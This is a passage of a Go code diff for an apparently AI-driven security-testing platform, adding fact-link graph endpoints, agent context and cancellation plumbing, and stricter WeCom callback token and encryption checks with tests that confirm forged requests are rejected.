@@ -184,7 +196,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
 		}
 	}
 	if req.Description != nil {
-		p.Description = *req.Description
+		p.Description = clampProjectDescription(*req.Description)
 	}
 	if req.ScopeJSON != nil {
 		p.ScopeJSON = *req.ScopeJSON
@@ -213,26 +225,102 @@ func (h *ProjectHandler) DeleteProject(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"success": true})
 }
 
+type factLinkRequest struct {
+	From       string `json:"from"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
 type upsertFactRequest struct {
-	FactKey                string `json:"fact_key" binding:"required"`
-	Category               string `json:"category"`
-	Summary                string `json:"summary" binding:"required"`
-	Body                   string `json:"body"`
-	Confidence             string `json:"confidence"`
-	Pinned                 bool   `json:"pinned"`
-	RelatedVulnerabilityID string `json:"related_vulnerability_id"`
+	FactKey                string            `json:"fact_key" binding:"required"`
+	Category               string            `json:"category"`
+	Summary                string            `json:"summary" binding:"required"`
+	Body                   string            `json:"body"`
+	Confidence             string            `json:"confidence"`
+	Pinned                 bool              `json:"pinned"`
+	RelatedVulnerabilityID string            `json:"related_vulnerability_id"`
+	Links                  []factLinkRequest `json:"links"`
+	LinksText              *string           `json:"links_text"`
 }
 
 // updateFactRequest 部分更新事实；指针字段省略=不修改，body 传 "" 可清空（仍走 merge 逻辑见 Upsert）。
 type updateFactRequest struct {
-	FactKey                *string `json:"fact_key"`
-	Category               *string `json:"category"`
-	Summary                *string `json:"summary"`
-	Body                   *string `json:"body"`
-	Confidence             *string `json:"confidence"`
-	Pinned                 *bool   `json:"pinned"`
-	RelatedVulnerabilityID *string `json:"related_vulnerability_id"`
-	ClearBody              bool    `json:"clear_body"`
+	FactKey                *string            `json:"fact_key"`
+	Category               *string            `json:"category"`
+	Summary                *string            `json:"summary"`
+	Body                   *string            `json:"body"`
+	Confidence             *string            `json:"confidence"`
+	Pinned                 *bool              `json:"pinned"`
+	RelatedVulnerabilityID *string            `json:"related_vulnerability_id"`
+	ClearBody              bool               `json:"clear_body"`
+	Links                  *[]factLinkRequest `json:"links"`
+	LinksText              *string            `json:"links_text"`
+}
+
+func factLinksFromRequest(links []factLinkRequest, linksText *string) (*project.ParsedFactLinks, error) {
+	if len(links) > 0 {
+		parsed := &project.ParsedFactLinks{}
+		for i, l := range links {
+			from := strings.TrimSpace(l.From)
+			edgeType := strings.TrimSpace(l.Type)
+			if from == "" {
+				return nil, fmt.Errorf("links[%d] 须含 from", i)
+			}
+			if edgeType == "" {
+				return nil, fmt.Errorf("links[%d] 须含 type", i)
+			}
+			parsed.Incoming = append(parsed.Incoming, database.ProjectFactEdgeFromInput{
+				From: from, Type: edgeType, Confidence: strings.TrimSpace(l.Confidence),
+			})
+		}
+		return parsed, nil
+	}
+	if linksText != nil {
+		in, err := project.ParseFactLinksText(*linksText)
+		if err != nil {
+			return nil, err
+		}
+		return &project.ParsedFactLinks{Incoming: in}, nil
+	}
+	return &project.ParsedFactLinks{Incoming: []database.ProjectFactEdgeFromInput{}}, nil
+}
+
+type factWithLinksResponse struct {
+	*database.ProjectFact
+	OutgoingLinks []*database.ProjectFactEdge `json:"outgoing_links,omitempty"`
+	IncomingLinks []*database.ProjectFactEdge `json:"incoming_links,omitempty"`
+	LinkCounts    *project.LinkCounts         `json:"link_counts,omitempty"`
+}
+
+func (h *ProjectHandler) applyFactLinksAfterUpsert(projectID string, fact *database.ProjectFact, links []factLinkRequest, linksText *string, explicitLinks, parseBody bool) error {
+	if explicitLinks {
+		parsed, err := factLinksFromRequest(links, linksText)
+		if err != nil {
+			return err
+		}
+		return project.PersistFactLinksFromParsed(h.db, projectID, fact.FactKey, fact.SourceConversationID, parsed, true)
+	}
+	if parseBody {
+		inputs := project.ParseLinksFromBody(fact.Body)
+		if inputs == nil {
+			return nil
+		}
+		return project.PersistFactIncomingLinks(h.db, projectID, fact.FactKey, inputs, true)
+	}
+	return nil
+}
+
+func (h *ProjectHandler) factResponseWithLinks(projectID string, f *database.ProjectFact, includeLinks bool) interface{} {
+	if !includeLinks || f == nil {
+		return f
+	}
+	out, _ := h.db.ListOutgoingProjectFactEdges(projectID, f.FactKey)
+	in, _ := h.db.ListIncomingProjectFactEdges(projectID, f.FactKey)
+	return &factWithLinksResponse{
+		ProjectFact:   f,
+		OutgoingLinks: out,
+		IncomingLinks: in,
+	}
 }
 
 // ListFacts GET /api/projects/:id/facts （fact_key 查询参数可获取单条详情）
@@ -244,7 +332,8 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 			c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
 			return
 		}
-		c.JSON(http.StatusOK, f)
+		includeLinks := c.Query("include_links") == "1" || c.Query("include_links") == "true"
+		c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, f, includeLinks))
 		return
 	}
 	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "100"))
@@ -275,7 +364,52 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 		}
 		list = filtered
 	}
-	c.JSON(http.StatusOK, list)
+	includeLinkCounts := c.Query("include_link_counts") == "1" || c.Query("include_link_counts") == "true"
+	if !includeLinkCounts {
+		c.JSON(http.StatusOK, list)
+		return
+	}
+	counts, err := project.LoadProjectFactLinkCounts(h.db, projectID)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	out := make([]factWithLinksResponse, 0, len(list))
+	for _, f := range list {
+		item := factWithLinksResponse{ProjectFact: f}
+		if c, ok := counts[f.FactKey]; ok {
+			cc := c
+			item.LinkCounts = &cc
+		}
+		out = append(out, item)
+	}
+	c.JSON(http.StatusOK, out)
+}
+
+// GetFactGraph GET /api/projects/:id/fact-graph?view=path|full
+func (h *ProjectHandler) GetFactGraph(c *gin.Context) {
+	projectID := c.Param("id")
+	if _, err := h.db.GetProject(projectID); err != nil {
+		c.JSON(http.StatusNotFound, gin.H{"error": "项目不存在"})
+		return
+	}
+	view := c.DefaultQuery("view", "path")
+	excludeDeprecated := true
+	if v := c.Query("exclude_deprecated"); v == "0" || v == "false" {
+		excludeDeprecated = false
+	}
+	graph, err := project.BuildProjectFactGraph(h.db, projectID, view, excludeDeprecated)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if graph.Nodes == nil {
+		graph.Nodes = []database.ProjectFactGraphNode{}
+	}
+	if graph.Edges == nil {
+		graph.Edges = []database.ProjectFactGraphEdge{}
+	}
+	c.JSON(http.StatusOK, graph)
 }
 
 // CreateFact POST /api/projects/:id/facts
@@ -285,8 +419,9 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
+	projectID := c.Param("id")
 	f := &database.ProjectFact{
-		ProjectID:              c.Param("id"),
+		ProjectID:              projectID,
 		FactKey:                req.FactKey,
 		Category:               req.Category,
 		Summary:                req.Summary,
@@ -300,16 +435,24 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, created)
+	explicitLinks := req.Links != nil || req.LinksText != nil
+	if err := h.applyFactLinksAfterUpsert(projectID, created, req.Links, req.LinksText, explicitLinks, !explicitLinks); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	created, _ = h.db.GetProjectFactByKey(projectID, created.FactKey)
+	c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, created, true))
 }
 
 // UpdateFact PUT /api/projects/:id/facts/:factId
 func (h *ProjectHandler) UpdateFact(c *gin.Context) {
+	projectID := c.Param("id")
 	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
+	if err != nil || existing.ProjectID != projectID {
 		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
 		return
 	}
+	oldFactKey := existing.FactKey
 	var req updateFactRequest
 	if err := c.ShouldBindJSON(&req); err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -345,7 +488,29 @@ func (h *ProjectHandler) UpdateFact(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, updated)
+	if oldFactKey != updated.FactKey {
+		if err := h.db.RenameProjectFactKeyEdges(projectID, oldFactKey, updated.FactKey); err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	if req.Links != nil || req.LinksText != nil {
+		var links []factLinkRequest
+		if req.Links != nil {
+			links = *req.Links
+		}
+		if err := h.applyFactLinksAfterUpsert(projectID, updated, links, req.LinksText, true, false); err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+	} else if req.ClearBody || req.Body != nil {
+		if err := h.applyFactLinksAfterUpsert(projectID, updated, nil, nil, false, true); err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	updated, _ = h.db.GetProjectFactByKey(projectID, updated.FactKey)
+	c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, updated, true))
 }
 
 // DeleteFact DELETE /api/projects/:id/facts/:factId
@@ -398,3 +563,82 @@ func (h *ProjectHandler) RestoreFact(c *gin.Context) {
 	}
 	c.JSON(http.StatusOK, gin.H{"success": true})
 }
+
+type createFactEdgeRequest struct {
+	SourceFactKey string `json:"source_fact_key" binding:"required"`
+	TargetFactKey string `json:"target_fact_key" binding:"required"`
+	EdgeType      string `json:"edge_type" binding:"required"`
+	Confidence    string `json:"confidence"`
+}
+
+// ListFactEdges GET /api/projects/:id/fact-edges
+func (h *ProjectHandler) ListFactEdges(c *gin.Context) {
+	projectID := c.Param("id")
+	edges, err := h.db.ListProjectFactEdgesByProject(projectID)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if edges == nil {
+		edges = []*database.ProjectFactEdge{}
+	}
+	c.JSON(http.StatusOK, edges)
+}
+
+// CreateFactEdge POST /api/projects/:id/fact-edges
+func (h *ProjectHandler) CreateFactEdge(c *gin.Context) {
+	projectID := c.Param("id")
+	var req createFactEdgeRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	edge, err := h.db.AddProjectFactEdge(projectID, database.ProjectFactEdgeInput{
+		To:         req.TargetFactKey,
+		Type:       req.EdgeType,
+		Confidence: req.Confidence,
+	}, req.SourceFactKey, "")
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if f, err := h.db.GetProjectFactByKey(projectID, req.TargetFactKey); err == nil {
+		in, _ := h.db.ListIncomingProjectFactEdges(projectID, req.TargetFactKey)
+		f.Body = project.SyncBodyLinksSection(f.Body, in)
+		_, _ = h.db.UpsertProjectFact(f)
+	}
+	c.JSON(http.StatusOK, edge)
+}
+
+// DeleteFactEdge DELETE /api/projects/:id/fact-edges/:edgeId
+func (h *ProjectHandler) DeleteFactEdge(c *gin.Context) {
+	projectID := c.Param("id")
+	edgeID := c.Param("edgeId")
+	edge, err := h.db.GetProjectFactEdge(edgeID)
+	if err != nil || edge.ProjectID != projectID {
+		c.JSON(http.StatusNotFound, gin.H{"error": "边不存在"})
+		return
+	}
+	if err := h.db.DeleteProjectFactEdge(edgeID); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if f, err := h.db.GetProjectFactByKey(projectID, edge.TargetFactKey); err == nil {
+		in, _ := h.db.ListIncomingProjectFactEdges(projectID, edge.TargetFactKey)
+		f.Body = project.SyncBodyLinksSection(f.Body, in)
+		_, _ = h.db.UpsertProjectFact(f)
+	}
+	c.JSON(http.StatusOK, gin.H{"success": true})
+}
+
+// PromoteAttackChain POST /api/projects/:id/promote-attack-chain/:conversationId
+func (h *ProjectHandler) PromoteAttackChain(c *gin.Context) {
+	projectID := c.Param("id")
+	conversationID := c.Param("conversationId")
+	result, err := attackchain.PromoteToProject(h.db, projectID, conversationID)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, result)
+}

internal/handler/project_context.go

@@ -7,6 +7,45 @@ import (
 	"go.uber.org/zap"
 )
 
+// agentSessionContextBlock 注入会话工作目录、项目黑板与用户原文锚点（用于 system prompt 追加块）。
+func (h *AgentHandler) agentSessionContextBlock(conversationID string) string {
+	var parts []string
+	if ws := h.buildWorkspaceBlock(conversationID); ws != "" {
+		parts = append(parts, ws)
+	}
+	if bb := h.projectBlackboardBlock(conversationID); bb != "" {
+		parts = append(parts, bb)
+	}
+	if uv := h.userVerbatimAnchorBlock(conversationID); uv != "" {
+		parts = append(parts, uv)
+	}
+	return strings.Join(parts, "\n\n")
+}
+
+func (h *AgentHandler) buildWorkspaceBlock(conversationID string) string {
+	if h == nil || h.config == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	projectID := h.conversationProjectID(conversationID)
+	rel := project.WorkspaceRootDir(h.config.Agent.WorkspaceRootDir, projectID, conversationID)
+	abs, err := project.EnsureWorkspace(rel)
+	if err != nil {
+		if h.logger != nil {
+			h.logger.Warn("创建会话工作目录失败",
+				zap.String("conversationId", conversationID),
+				zap.String("projectId", projectID),
+				zap.String("path", rel),
+				zap.Error(err))
+		}
+		return ""
+	}
+	return project.BuildWorkspaceBlock(abs)
+}
+
 // projectBlackboardBlock 根据对话 ID 构建项目事实索引块（用于注入 system prompt）。
 func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
 	if h == nil || h.db == nil || h.config == nil {
@@ -30,3 +69,42 @@ func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
 	}
 	return strings.TrimSpace(block)
 }
+
+// userVerbatimAnchorBlock 从 messages 表构建用户各轮原文锚点（压缩后仍由 summarization Finalize 刷新）。
+func (h *AgentHandler) userVerbatimAnchorBlock(conversationID string) string {
+	if h == nil || h.db == nil || h.config == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	maxRunes := h.config.MultiAgent.UserVerbatimAnchorMaxRunesEffective()
+	if maxRunes < 0 {
+		return ""
+	}
+	msgs, err := h.db.GetMessages(conversationID)
+	if err != nil {
+		if h.logger != nil {
+			h.logger.Warn("构建用户原文锚点失败", zap.String("conversationId", conversationID), zap.Error(err))
+		}
+		return ""
+	}
+	return project.BuildUserVerbatimAnchorBlockFromMessages(msgs, maxRunes)
+}
+
+// conversationProjectID 返回对话绑定的项目 ID；未绑定或查询失败时返回空字符串。
+func (h *AgentHandler) conversationProjectID(conversationID string) string {
+	if h == nil || h.db == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	projectID, err := h.db.GetConversationProjectID(conversationID)
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(projectID)
+}

internal/handler/robot.go

@@ -447,7 +447,7 @@ func (h *RobotHandler) cmdUnbindProject(platform, userID string) string {
 }
 
 func (h *RobotHandler) cmdList() string {
-	convs, err := h.db.ListConversations(50, 0, "")
+	convs, err := h.db.ListConversations(50, 0, "", "", "")
 	if err != nil {
 		return "获取对话列表失败: " + err.Error()
 	}
@@ -594,6 +594,9 @@ func (h *RobotHandler) cmdDelete(platform, userID, convID string) string {
 		h.mu.Unlock()
 		h.deleteSessionBinding(sk)
 	}
+	if h.agentHandler != nil {
+		h.agentHandler.CancelRunningTaskForConversation(convID)
+	}
 	if err := h.db.DeleteConversation(convID); err != nil {
 		return "删除失败: " + err.Error()
 	}
@@ -708,12 +711,27 @@ type wecomReplyXML struct {
 	Content      string   `xml:"Content"`
 }
 
+// wecomRequireToken 企业微信回调必须配置 Token；未配置时拒绝请求，防止未授权触发 Agent。
+func (h *RobotHandler) wecomRequireToken(c *gin.Context) (string, bool) {
+	token := strings.TrimSpace(h.config.Robots.Wecom.Token)
+	if token == "" {
+		h.logger.Warn("企业微信已启用但未配置 token，已拒绝回调（请在配置中设置 robots.wecom.token）")
+		c.String(http.StatusForbidden, "")
+		return "", false
+	}
+	return token, true
+}
+
 // HandleWecomGET 企业微信 URL 校验（GET）
 func (h *RobotHandler) HandleWecomGET(c *gin.Context) {
 	if !h.config.Robots.Wecom.Enabled {
 		c.String(http.StatusNotFound, "")
 		return
 	}
+	token, ok := h.wecomRequireToken(c)
+	if !ok {
+		return
+	}
 	// Gin 的 Query() 会自动 URL 解码，拿到的就是正确的 base64 字符串
 	echostr := c.Query("echostr")
 	msgSignature := c.Query("msg_signature")
@@ -721,7 +739,7 @@ func (h *RobotHandler) HandleWecomGET(c *gin.Context) {
 	nonce := c.Query("nonce")
 
 	// 验证签名：将 token、timestamp、nonce、echostr 四个参数排序后拼接计算 SHA1
-	signature := h.signWecomRequest(h.config.Robots.Wecom.Token, timestamp, nonce, echostr)
+	signature := h.signWecomRequest(token, timestamp, nonce, echostr)
 	if signature != msgSignature {
 		h.logger.Warn("企业微信 URL 验证签名失败", zap.String("expected", msgSignature), zap.String("got", signature))
 		c.String(http.StatusBadRequest, "invalid signature")
@@ -862,27 +880,28 @@ func (h *RobotHandler) HandleWecomPOST(c *gin.Context) {
 	}
 	h.logger.Debug("企业微信 POST 收到请求", zap.String("body", string(bodyRaw)))
 
-	// 验证请求签名防止伪造。企业微信签名算法同 URL 验证，使用 token、timestamp、nonce、 Encrypt 四个字段
-	// 若配置了 Token 则必须校验签名，避免未授权请求触发 Agent（防止平台被接管）
-	token := h.config.Robots.Wecom.Token
-	if token != "" {
-		if msgSignature == "" {
-			h.logger.Warn("企业微信 POST 缺少签名，已拒绝（需配置 token 并确保回调携带 msg_signature）")
-			c.String(http.StatusOK, "")
-			return
-		}
-		var tmp wecomXML
-		if err := xml.Unmarshal(bodyRaw, &tmp); err != nil {
-			h.logger.Warn("企业微信 POST 签名验证前解析 XML 失败", zap.Error(err))
-			c.String(http.StatusOK, "")
-			return
-		}
-		expected := h.signWecomRequest(token, timestamp, nonce, tmp.Encrypt)
-		if expected != msgSignature {
-			h.logger.Warn("企业微信 POST 签名验证失败", zap.String("expected", expected), zap.String("got", msgSignature))
-			c.String(http.StatusOK, "")
-			return
-		}
+	// 验证请求签名防止伪造。企业微信签名算法同 URL 验证，使用 token、timestamp、nonce、 Encrypt 四个字段。
+	// 启用企业微信时必须配置 token 并校验签名，避免未授权请求触发 Agent。
+	token, ok := h.wecomRequireToken(c)
+	if !ok {
+		return
+	}
+	if msgSignature == "" {
+		h.logger.Warn("企业微信 POST 缺少签名，已拒绝（需确保回调携带 msg_signature）")
+		c.String(http.StatusOK, "")
+		return
+	}
+	var tmp wecomXML
+	if err := xml.Unmarshal(bodyRaw, &tmp); err != nil {
+		h.logger.Warn("企业微信 POST 签名验证前解析 XML 失败", zap.Error(err))
+		c.String(http.StatusOK, "")
+		return
+	}
+	expected := h.signWecomRequest(token, timestamp, nonce, tmp.Encrypt)
+	if expected != msgSignature {
+		h.logger.Warn("企业微信 POST 签名验证失败", zap.String("expected", expected), zap.String("got", msgSignature))
+		c.String(http.StatusOK, "")
+		return
 	}
 
 	var body wecomXML
@@ -896,6 +915,13 @@ func (h *RobotHandler) HandleWecomPOST(c *gin.Context) {
 	// 保存企业 ID（用于明文模式回复）
 	enterpriseID := body.ToUserName
 
+	// 配置了 EncodingAESKey 时必须走加密消息，拒绝明文 XML 绕过
+	if strings.TrimSpace(h.config.Robots.Wecom.EncodingAESKey) != "" && strings.TrimSpace(body.Encrypt) == "" {
+		h.logger.Warn("企业微信已配置加密模式但收到明文消息，已拒绝")
+		c.String(http.StatusOK, "")
+		return
+	}
+
 	// 加密模式：先解密再解析内层 XML
 	if body.Encrypt != "" && h.config.Robots.Wecom.EncodingAESKey != "" {
 		h.logger.Debug("企业微信进入加密模式解密流程")

internal/handler/robot_wecom_test.go

@@ -0,0 +1,78 @@
+package handler
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+func newWecomTestHandler(token string, aesKey string) *RobotHandler {
+	return &RobotHandler{
+		config: &config.Config{
+			Robots: config.RobotsConfig{
+				Wecom: config.RobotWecomConfig{
+					Enabled:        true,
+					Token:          token,
+					EncodingAESKey: aesKey,
+				},
+			},
+		},
+		logger: zap.NewNop(),
+	}
+}
+
+func TestHandleWecomPOST_rejectsWhenTokenEmpty(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	h := newWecomTestHandler("", "")
+	w := httptest.NewRecorder()
+	c, _ := gin.CreateTestContext(w)
+	body := `<?xml version="1.0"?><xml><FromUserName>attacker</FromUserName><MsgType>text</MsgType><Content>hi</Content></xml>`
+	c.Request = httptest.NewRequest(http.MethodPost, "/api/robot/wecom", strings.NewReader(body))
+
+	h.HandleWecomPOST(c)
+
+	if w.Code != http.StatusForbidden {
+		t.Fatalf("status = %d, want %d", w.Code, http.StatusForbidden)
+	}
+	if w.Body.String() == "success" {
+		t.Fatal("expected rejection, got success")
+	}
+}
+
+func TestHandleWecomPOST_rejectsPlaintextWhenEncryptionConfigured(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	h := newWecomTestHandler("secret-token", "abcdefghijklmnopqrstuvwxyz0123456789ABCD")
+	w := httptest.NewRecorder()
+	c, _ := gin.CreateTestContext(w)
+	body := `<?xml version="1.0"?><xml><FromUserName>attacker</FromUserName><MsgType>text</MsgType><Content>hi</Content></xml>`
+	c.Request = httptest.NewRequest(http.MethodPost, "/api/robot/wecom?timestamp=1&nonce=2&msg_signature=fake", strings.NewReader(body))
+
+	h.HandleWecomPOST(c)
+
+	if w.Body.String() == "success" {
+		t.Fatal("expected rejection for plaintext in encryption mode, got success")
+	}
+}
+
+func TestHandleWecomGET_rejectsWhenTokenEmpty(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	h := newWecomTestHandler("", "")
+	w := httptest.NewRecorder()
+	c, _ := gin.CreateTestContext(w)
+	c.Request = httptest.NewRequest(http.MethodGet, "/api/robot/wecom?msg_signature=x&timestamp=1&nonce=2&echostr=abc", nil)
+
+	h.HandleWecomGET(c)
+
+	if w.Code != http.StatusForbidden {
+		t.Fatalf("status = %d, want %d", w.Code, http.StatusForbidden)
+	}
+}

internal/handler/task_manager.go

@@ -26,6 +26,7 @@ func shouldPersistEinoAgentTraceAfterRunError(baseCtx context.Context) bool {
 // AgentTask 描述正在运行的Agent任务
 type AgentTask struct {
 	ConversationID string    `json:"conversationId"`
+	Title          string    `json:"title,omitempty"`
 	Message        string    `json:"message,omitempty"`
 	StartedAt      time.Time `json:"startedAt"`
 	Status         string    `json:"status"`
@@ -37,6 +38,14 @@ type AgentTask struct {
 	// InterruptContinueNote 无 MCP 时「中断并继续」由用户在弹窗中填写的补充说明（Cancel 前写入，续跑轮次读取后清空）
 	InterruptContinueNote string `json:"-"`
 
+	// activeEinoExecuteCancel 当前进行中的 Eino filesystem execute 取消函数（与 MCP 工具并行，供中断并继续）
+	activeEinoExecuteCancel context.CancelFunc
+	// activeEinoExecuteAbortNote AbortActiveEinoExecute 写入的用户说明，由 execute 收尾时合并进工具结果
+	activeEinoExecuteAbortNote string
+
+	// hitlCognition 本轮运行中供 HITL/审计 Agent 读取的上下文（用户原话 + 思考，不含会话历史）
+	hitlCognition *hitlCognitionState
+
 	cancel func(error)
 }
 
@@ -70,6 +79,103 @@ func (m *AgentTaskManager) UnregisterRunningTool(conversationID, executionID str
 	}
 }
 
+// RegisterActiveEinoExecute 登记进行中的 Eino filesystem execute（每会话同时仅一条）。
+func (m *AgentTaskManager) RegisterActiveEinoExecute(conversationID string, cancel context.CancelFunc) {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" || cancel == nil {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		t.activeEinoExecuteCancel = cancel
+		t.activeEinoExecuteAbortNote = ""
+	}
+}
+
+// UnregisterActiveEinoExecute execute 正常结束或已取消后清除登记。
+func (m *AgentTaskManager) UnregisterActiveEinoExecute(conversationID string) {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		t.activeEinoExecuteCancel = nil
+		t.activeEinoExecuteAbortNote = ""
+	}
+}
+
+// ConversationIDForActiveMCPExecution 根据当前登记的工具 executionId 反查会话 ID（供 MCP 监控页按 executionId 终止）。
+func (m *AgentTaskManager) ConversationIDForActiveMCPExecution(executionID string) string {
+	executionID = strings.TrimSpace(executionID)
+	if executionID == "" {
+		return ""
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for convID, t := range m.tasks {
+		if t != nil && t.ActiveMCPExecutionID == executionID {
+			return convID
+		}
+	}
+	return ""
+}
+
+// ConversationIDForActiveEinoExecute 返回当前唯一进行 Eino execute 的会话 ID；多会话并行时返回空。
+func (m *AgentTaskManager) ConversationIDForActiveEinoExecute() (string, bool) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	var found string
+	count := 0
+	for convID, t := range m.tasks {
+		if t != nil && t.activeEinoExecuteCancel != nil {
+			found = convID
+			count++
+		}
+	}
+	if count == 1 {
+		return found, true
+	}
+	return "", false
+}
+
+// AbortActiveEinoExecute 终止当前 Eino execute 并暂存用户说明（与 MCP 工具终止一致）。
+func (m *AgentTaskManager) AbortActiveEinoExecute(conversationID, note string) bool {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return false
+	}
+	m.mu.Lock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil || t.activeEinoExecuteCancel == nil {
+		m.mu.Unlock()
+		return false
+	}
+	t.activeEinoExecuteAbortNote = strings.TrimSpace(note)
+	cancel := t.activeEinoExecuteCancel
+	m.mu.Unlock()
+	cancel()
+	return true
+}
+
+// TakeEinoExecuteAbortNote 读取并清空 execute 终止说明（execute 收尾时调用一次）。
+func (m *AgentTaskManager) TakeEinoExecuteAbortNote(conversationID string) string {
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if t, ok := m.tasks[conversationID]; ok && t != nil {
+		n := t.activeEinoExecuteAbortNote
+		t.activeEinoExecuteAbortNote = ""
+		return n
+	}
+	return ""
+}
+
 // SetInterruptContinueNote 在发起 ErrInterruptContinue 取消前写入用户补充说明（仅内存）。
 func (m *AgentTaskManager) SetInterruptContinueNote(conversationID, note string) {
 	conversationID = strings.TrimSpace(conversationID)
@@ -131,6 +237,7 @@ func (m *AgentTaskManager) ActiveMCPExecutionID(conversationID string) string {
 // CompletedTask 已完成的任务（用于历史记录）
 type CompletedTask struct {
 	ConversationID string    `json:"conversationId"`
+	Title          string    `json:"title,omitempty"`
 	Message        string    `json:"message,omitempty"`
 	StartedAt      time.Time `json:"startedAt"`
 	CompletedAt    time.Time `json:"completedAt"`
@@ -145,6 +252,8 @@ type AgentTaskManager struct {
 	maxHistorySize   int              // 最大历史记录数
 	historyRetention time.Duration    // 历史记录保留时间
 	eventBus         *TaskEventBus    // 可选：任务结束时关闭镜像 SSE 订阅
+	// toolCanceler 在用户整轮停止任务时终止当前 MCP 工具（非「中断并继续」）。
+	toolCanceler func(conversationID string)
 }
 
 const (
@@ -175,6 +284,13 @@ func (m *AgentTaskManager) SetTaskEventBus(b *TaskEventBus) {
 	m.eventBus = b
 }
 
+// SetToolCanceler 设置整轮停止任务时终止当前 MCP 工具的回调（由 AgentHandler 注入）。
+func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.toolCanceler = fn
+}
+
 // GetTask 返回运行中任务（无则 nil）。
 func (m *AgentTaskManager) GetTask(conversationID string) *AgentTask {
 	m.mu.RLock()
@@ -241,6 +357,7 @@ func (m *AgentTaskManager) StartTask(conversationID, message string, cancel cont
 	}
 
 	m.tasks[conversationID] = task
+	task.hitlCognition = &hitlCognitionState{UserMessage: strings.TrimSpace(message)}
 	return task, nil
 }
 
@@ -270,14 +387,21 @@ func (m *AgentTaskManager) CancelTask(conversationID string, cause error) (bool,
 		task.InterruptContinueNote = ""
 	}
 	cancel := task.cancel
-	m.mu.Unlock()
-
 	if cause == nil {
 		cause = ErrTaskCancelled
 	}
+	var toolCanceler func(string)
+	if errors.Is(cause, ErrTaskCancelled) {
+		toolCanceler = m.toolCanceler
+	}
+	m.mu.Unlock()
+
 	if cancel != nil {
 		cancel(cause)
 	}
+	if toolCanceler != nil {
+		toolCanceler(conversationID)
+	}
 	return true, nil
 }
 

internal/handler/task_manager_eino_execute_test.go

@@ -0,0 +1,56 @@
+package handler
+
+import (
+	"context"
+	"testing"
+	"time"
+)
+
+func TestAbortActiveEinoExecute(t *testing.T) {
+	m := NewAgentTaskManager()
+	conv := "conv-eino-exec-abort"
+	ctx, cancel := context.WithCancel(context.Background())
+	_, err := m.StartTask(conv, "test", func(error) {})
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+	m.RegisterActiveEinoExecute(conv, cancel)
+
+	done := make(chan struct{})
+	go func() {
+		<-ctx.Done()
+		close(done)
+	}()
+
